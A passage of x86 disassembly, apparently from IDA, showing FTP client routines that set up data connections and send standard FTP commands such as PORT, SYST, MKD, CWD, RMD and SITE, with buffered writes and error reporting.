		call	ds:dword_4B3A58
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_4288CB:				; CODE XREF: sub_428720+15Cj
		lea	edx, [esp+144h+var_11C]
		push	4
		push	edx
		push	4
		push	0FFFFh
		push	edi
		call	sub_430A98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4288EE
		push	offset aSetsockopt ; "setsockopt"
		jmp	loc_428A35
; ---------------------------------------------------------------------------


loc_4288EE:				; CODE XREF: sub_428720+1C2j
		lea	eax, [esp+144h+var_120]
		push	4
		push	eax
		push	80h
		push	0FFFFh
		push	edi
		call	sub_430A98
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428914
		push	offset aSetsockopt ; "setsockopt"
		jmp	loc_428A35
; ---------------------------------------------------------------------------


loc_428914:				; CODE XREF: sub_428720+1E8j
		cmp	[ebx+24h], esi
		jnz	short loc_428939
		lea	ecx, [esp+144h+var_134]
		push	10h
		push	ecx
		push	edi
		call	sub_430A14
		cmp	eax, 0FFFFFFFFh
		jnz	loc_428A1B
		push	offset aConnect	; "connect"
		jmp	loc_428A35
; ---------------------------------------------------------------------------


loc_428939:				; CODE XREF: sub_428720+1F7j
		lea	edx, [esp+144h+var_134]
		push	10h
		push	edx
		push	edi
		mov	word ptr [esp+150h+var_134+2], bp
		call	sub_430A50
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428957
		push	offset aBind	; "bind"
		jmp	short loc_428967
; ---------------------------------------------------------------------------


loc_428957:				; CODE XREF: sub_428720+22Ej
		push	esi
		push	edi
		call	sub_430A4A
		test	eax, eax
		jge	short loc_428983
		push	offset aListen	; "listen"


loc_428967:				; CODE XREF: sub_428720+235j
		call	ds:dword_4B3A58
		add	esp, 4
		push	edi
		call	sub_430A26
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_428983:				; CODE XREF: sub_428720+240j
		lea	eax, [esp+144h+var_124]
		lea	ecx, [esp+144h+var_134]
		push	eax
		push	ecx
		push	edi
		call	sub_430A0E
		test	eax, eax
		jge	short loc_4289A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_4289A4:				; CODE XREF: sub_428720+275j
		mov	edx, [esp+144h+var_134+3]
		mov	eax, [esp+144h+var_134+2]
		mov	ecx, [esp+144h+var_130+3]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		mov	edx, [esp+148h+var_130+2]
		and	ecx, 0FFh
		push	eax
		mov	eax, [esp+14Ch+var_130+1]
		push	ecx
		mov	ecx, [esp+150h+var_130]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+15Ch+var_100]
		push	offset aPortDDDDDD ; "PORT %d,%d,%d,%d,%d,%d"
		push	edx
		call	ds:dword_4B3A4C
		push	ebx
		lea	eax, [esp+168h+var_100]
		push	32h
		push	eax
		call	sub_428340
		add	esp, 2Ch
		test	eax, eax
		jnz	short loc_428A1B
		push	edi
		call	sub_430A26
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_428A1B:				; CODE XREF: sub_428720+209j
					; sub_428720+2E6j
		push	144h
		push	esi
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		cmp	esi, ebp
		jnz	short loc_428A52
		push	offset aCalloc	; "calloc"


loc_428A35:				; CODE XREF: sub_428720+1C9j
					; sub_428720+1EFj ...
		call	ds:dword_4B3A58
		add	esp, 4
		push	edi
		call	sub_430A26


loc_428A44:				; CODE XREF: sub_428720+2Bj
					; sub_428720+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_428A52:				; CODE XREF: sub_428720+30Ej
		cmp	[esp+144h+arg_8], 41h
		jnz	short loc_428A9D
		push	2000h
		call	ds:dword_4B3AB0
		add	esp, 4
		cmp	eax, ebp
		mov	[esi+14h], eax
		jnz	short loc_428A9D
		push	offset aCalloc	; "calloc"
		call	ds:dword_4B3A58
		add	esp, 4
		push	edi
		call	sub_430A26
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 4
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_428A9D:				; CODE XREF: sub_428720+33Aj
					; sub_428720+34Fj
		mov	ecx, [esp+144h+arg_C]
		mov	[esi+8], edi
		mov	[esi+18h], ecx
		mov	edx, [ebx+28h]
		mov	[esi+28h], edx
		mov	eax, [ebx+2Ch]
		mov	[esi+2Ch], eax
		mov	ecx, [ebx+34h]
		mov	[esi+34h], ecx
		mov	ecx, [esi+28h]
		mov	[esi+38h], ebp
		mov	[esi+40h], ebp
		mov	eax, [ebx+3Ch]
		cmp	ecx, ebp
		mov	[esi+3Ch], eax
		jnz	short loc_428ADD
		cmp	[esi+2Ch], ebp
		jnz	short loc_428ADD
		cmp	eax, ebp
		jnz	short loc_428ADD
		mov	[esi+30h], ebp
		jmp	short loc_428AE3
; ---------------------------------------------------------------------------


loc_428ADD:				; CODE XREF: sub_428720+3ADj
					; sub_428720+3B2j ...
		mov	edx, [ebx+30h]
		mov	[esi+30h], edx


loc_428AE3:				; CODE XREF: sub_428720+3BBj
		mov	eax, [esp+144h+arg_4]
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 134h
		retn
sub_428720	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428C00	proc near		; CODE XREF: sub_428460+1BEp

var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_428C42
		mov	ecx, eax


loc_428C42:				; CODE XREF: sub_428C00+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_430A56
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428C98
		push	100h
		call	ds:dword_4B3A50
		mov	eax, [eax]
		push	eax
		call	ds:dword_4B3A54
		add	esp, 4
		add	esi, 44h
		push	eax
		push	esi
		call	ds:dword_4B3AE0
		mov	ecx, [ebx+8]
		add	esp, 0Ch
		push	ecx
		call	sub_430A26
		pop	edi
		mov	[ebx+8], ebp
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_428C98:				; CODE XREF: sub_428C00+58j
		cmp	eax, ebp
		jnz	short loc_428CC5
		lea	edi, [esi+44h]
		mov	ecx, 8
		mov	esi, offset aTimedOutWaitin ; "timed out waiting for connection"
		rep movsd
		movsb
		mov	edx, [ebx+8]
		push	edx
		call	sub_430A26
		pop	edi
		mov	[ebx+8], ebp
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_428CC5:				; CODE XREF: sub_428C00+9Aj
		mov	ecx, [ebx+8]
		lea	eax, [esp+134h+var_104]
		push	eax
		push	ecx
		call	sub_430A68
		test	eax, eax
		jz	short loc_428D51
		mov	ecx, [ebx+8]
		lea	edx, [esp+134h+var_120]
		lea	eax, [esp+134h+var_114]
		push	edx
		push	eax
		push	ecx
		mov	dword ptr [esp+140h+var_120], 10h
		call	sub_430A62
		mov	edi, eax
		call	ds:dword_4B3A50
		mov	edx, [eax]
		mov	eax, [ebx+8]
		push	eax
		mov	[esp+138h+var_124], edx
		call	sub_430A26
		cmp	edi, ebp
		jle	short loc_428D20
		mov	[ebx+8], edi
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_428D20:				; CODE XREF: sub_428C00+10Bj
		mov	ecx, [esp+134h+var_124]
		push	100h
		push	ecx
		call	ds:dword_4B3A54
		add	esp, 4
		add	esi, 44h
		push	eax
		push	esi
		call	ds:dword_4B3AE0
		add	esp, 0Ch
		mov	[ebx+8], ebp
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_428D51:				; CODE XREF: sub_428C00+D5j
		mov	eax, [esi+8]
		lea	edx, [esp+134h+var_104]
		push	edx
		push	eax
		call	sub_430A68
		test	eax, eax
		jz	short loc_428D87
		mov	ecx, [ebx+8]
		push	ecx
		call	sub_430A26
		push	esi
		push	32h
		mov	[ebx+8], ebp
		call	sub_427CB0
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 124h
		retn
; ---------------------------------------------------------------------------


loc_428D87:				; CODE XREF: sub_428C00+161j
		mov	eax, [esp+134h+var_124]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 124h
		retn
sub_428C00	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428E10	proc near		; CODE XREF: sub_4020A9j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_428E21
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_428E21:				; CODE XREF: sub_428E10+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_428E3D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_427DF0
		add	esp, 0Ch
		jmp	short loc_428E64
; ---------------------------------------------------------------------------


loc_428E3D:				; CODE XREF: sub_428E10+17j
		call	sub_428020
		add	esp, 4
		cmp	eax, 1
		jz	short loc_428E4F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_428E4F:				; CODE XREF: sub_428E10+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_430A6E


loc_428E64:				; CODE XREF: sub_428E10+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_428E70
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_428E70:				; CODE XREF: sub_428E10+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_428EAF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_428EAF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_428EAF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_428EA8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_428EA8:				; CODE XREF: sub_428E10+93j
		mov	dword ptr [esi+40h], 0


loc_428EAF:				; CODE XREF: sub_428E10+6Fj
					; sub_428E10+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_428E10	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428EF0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_428F01
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_428F01:				; CODE XREF: sub_428EF0+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_428F1D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_428FC0
		add	esp, 0Ch
		jmp	short loc_428F3A
; ---------------------------------------------------------------------------


loc_428F1D:				; CODE XREF: sub_428EF0+17j
		call	sub_428020
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_430A2C


loc_428F3A:				; CODE XREF: sub_428EF0+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_428F46
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_428F46:				; CODE XREF: sub_428EF0+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_428F7C
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_428F7C
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_428F7C
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_428F7C:				; CODE XREF: sub_428EF0+63j
					; sub_428EF0+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_428EF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428FC0	proc near		; CODE XREF: sub_428EF0+23p
					; sub_429170+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_428FDC
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_428FDC:				; CODE XREF: sub_428FC0+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_429104


loc_428FED:				; CODE XREF: sub_428FC0+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42902E
		cmp	al, 0Dh
		jz	short loc_42902E
		cmp	esi, 2000h
		jnz	short loc_429029
		push	ebp
		call	sub_428020
		add	esp, 4
		test	eax, eax
		jz	short loc_42908A
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_430A2C
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_429091
		xor	esi, esi


loc_429029:				; CODE XREF: sub_428FC0+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42902E:				; CODE XREF: sub_428FC0+35j
					; sub_428FC0+39j
		cmp	esi, 2000h
		jnz	short loc_42905C
		push	ebp
		call	sub_428020
		add	esp, 4
		test	eax, eax
		jz	short loc_42908A
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_430A2C
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_4290B1
		xor	esi, esi


loc_42905C:				; CODE XREF: sub_428FC0+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_428FED
		test	esi, esi
		jz	loc_429104
		push	ebp
		call	sub_428020
		add	esp, 4
		test	eax, eax
		jnz	short loc_4290D1


loc_42908A:				; CODE XREF: sub_428FC0+4Ej
					; sub_428FC0+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_429091:				; CODE XREF: sub_428FC0+65j
		call	ds:dword_4B3A50
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		call	ds:dword_4B3A48
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4290B1:				; CODE XREF: sub_428FC0+98j
		call	ds:dword_4B3A50
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		call	ds:dword_4B3A48
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4290D1:				; CODE XREF: sub_428FC0+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_430A2C
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_429104
		call	ds:dword_4B3A50
		mov	edx, [eax]
		push	edx
		push	edi
		push	offset aNet_write3Retu ; "net_write(3) returned	%d, errno = %d\n"
		call	ds:dword_4B3A48
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_429104:				; CODE XREF: sub_428FC0+27j
					; sub_428FC0+B7j ...
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428FC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429170	proc near		; CODE XREF: sub_401ADCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_4291EB
		dec	eax
		jz	short loc_4291A0
		dec	eax
		jz	short loc_42918C


loc_429184:				; CODE XREF: sub_429170+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42918C:				; CODE XREF: sub_429170+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_4291A0
		push	esi
		push	0
		push	0
		call	sub_428FC0
		add	esp, 0Ch


loc_4291A0:				; CODE XREF: sub_429170+Fj
					; sub_429170+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, ds:dword_4B3AAC
		test	eax, eax
		jz	short loc_4291B4
		push	eax
		call	ebx
		add	esp, 4


loc_4291B4:				; CODE XREF: sub_429170+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_430AAA
		mov	ecx, [esi+8]
		push	ecx
		call	sub_430A26
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_429184
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_427CB0
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4291EB:				; CODE XREF: sub_429170+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_429202
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401ADC
		add	esp, 4


loc_429202:				; CODE XREF: sub_429170+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_430A26
		push	esi
		call	ds:dword_4B3AAC
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_429170	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429250:				; CODE XREF: _294ADE7B:00401BC2j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_429279
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_429279:				; CODE XREF: _294ADE7B:00429270j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		call	ds:dword_4B3A4C
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_428340
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292D0:				; CODE XREF: _294ADE7B:00401631j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_428340
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4292F1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4292F1:				; CODE XREF: _294ADE7B:004292ECj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42930C


loc_4292FF:				; CODE XREF: _294ADE7B:0042930Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42930C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_4292FF


loc_42930C:				; CODE XREF: _294ADE7B:004292FDj
					; _294ADE7B:00429303j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429340:				; CODE XREF: _294ADE7B:004020AEj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_429369
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_429369:				; CODE XREF: _294ADE7B:00429360j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		call	ds:dword_4B3A4C
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_428340
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4293C0:				; CODE XREF: _294ADE7B:004020B8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_4293E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_4293E9:				; CODE XREF: _294ADE7B:004293E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		call	ds:dword_4B3A4C
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_428340
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429440:				; CODE XREF: _294ADE7B:004016E0j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_428340
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429470:				; CODE XREF: _294ADE7B:00402063j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_429499
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_429499:				; CODE XREF: _294ADE7B:00429490j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		call	ds:dword_4B3A4C
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_428340
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4294F0:				; CODE XREF: _294ADE7B:004015E1j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_43F97C
		call	sub_428340
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_429511
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_429511:				; CODE XREF: _294ADE7B:0042950Cj
		add	edi, 44h
		push	22h
		push	edi
		call	ds:dword_4B3AC4
		add	esp, 8
		test	eax, eax
		jnz	short loc_429527
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_429527:				; CODE XREF: _294ADE7B:00429522j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_429545


loc_429533:				; CODE XREF: _294ADE7B:00429543j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_429545
		cmp	cl, 22h
		jz	short loc_429545
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_429533


loc_429545:				; CODE XREF: _294ADE7B:00429531j
					; _294ADE7B:00429537j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429570:				; CODE XREF: _294ADE7B:0040110Ej
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_4295A0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4295A0	proc near		; CODE XREF: _294ADE7B:00429583p
					; _294ADE7B:00429803p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42962A
		mov	esi, [esp+14h+arg_C]
		mov	cx, ds:word_43F9BC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_4295DA
		mov	byte ptr [esp+14h+arg_10], 72h


loc_4295DA:				; CODE XREF: sub_4295A0+33j
		cmp	edi, 49h
		jnz	short loc_4295E4
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_4295E4:				; CODE XREF: sub_4295A0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	ds:dword_4B3A90
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_429644
		push	100h
		call	ds:dword_4B3A50
		mov	eax, [eax]
		push	eax
		call	ds:dword_4B3A54
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	ds:dword_4B3AE0
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42962A:				; CODE XREF: sub_4295A0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42963B
		mov	ebx, ds:dword_4B3A68
		jmp	short loc_429644
; ---------------------------------------------------------------------------


loc_42963B:				; CODE XREF: sub_4295A0+91j
		mov	edx, ds:dword_4B3A68
		lea	ebx, [edx+20h]


loc_429644:				; CODE XREF: sub_4295A0+57j
					; sub_4295A0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401E0B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_429667
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
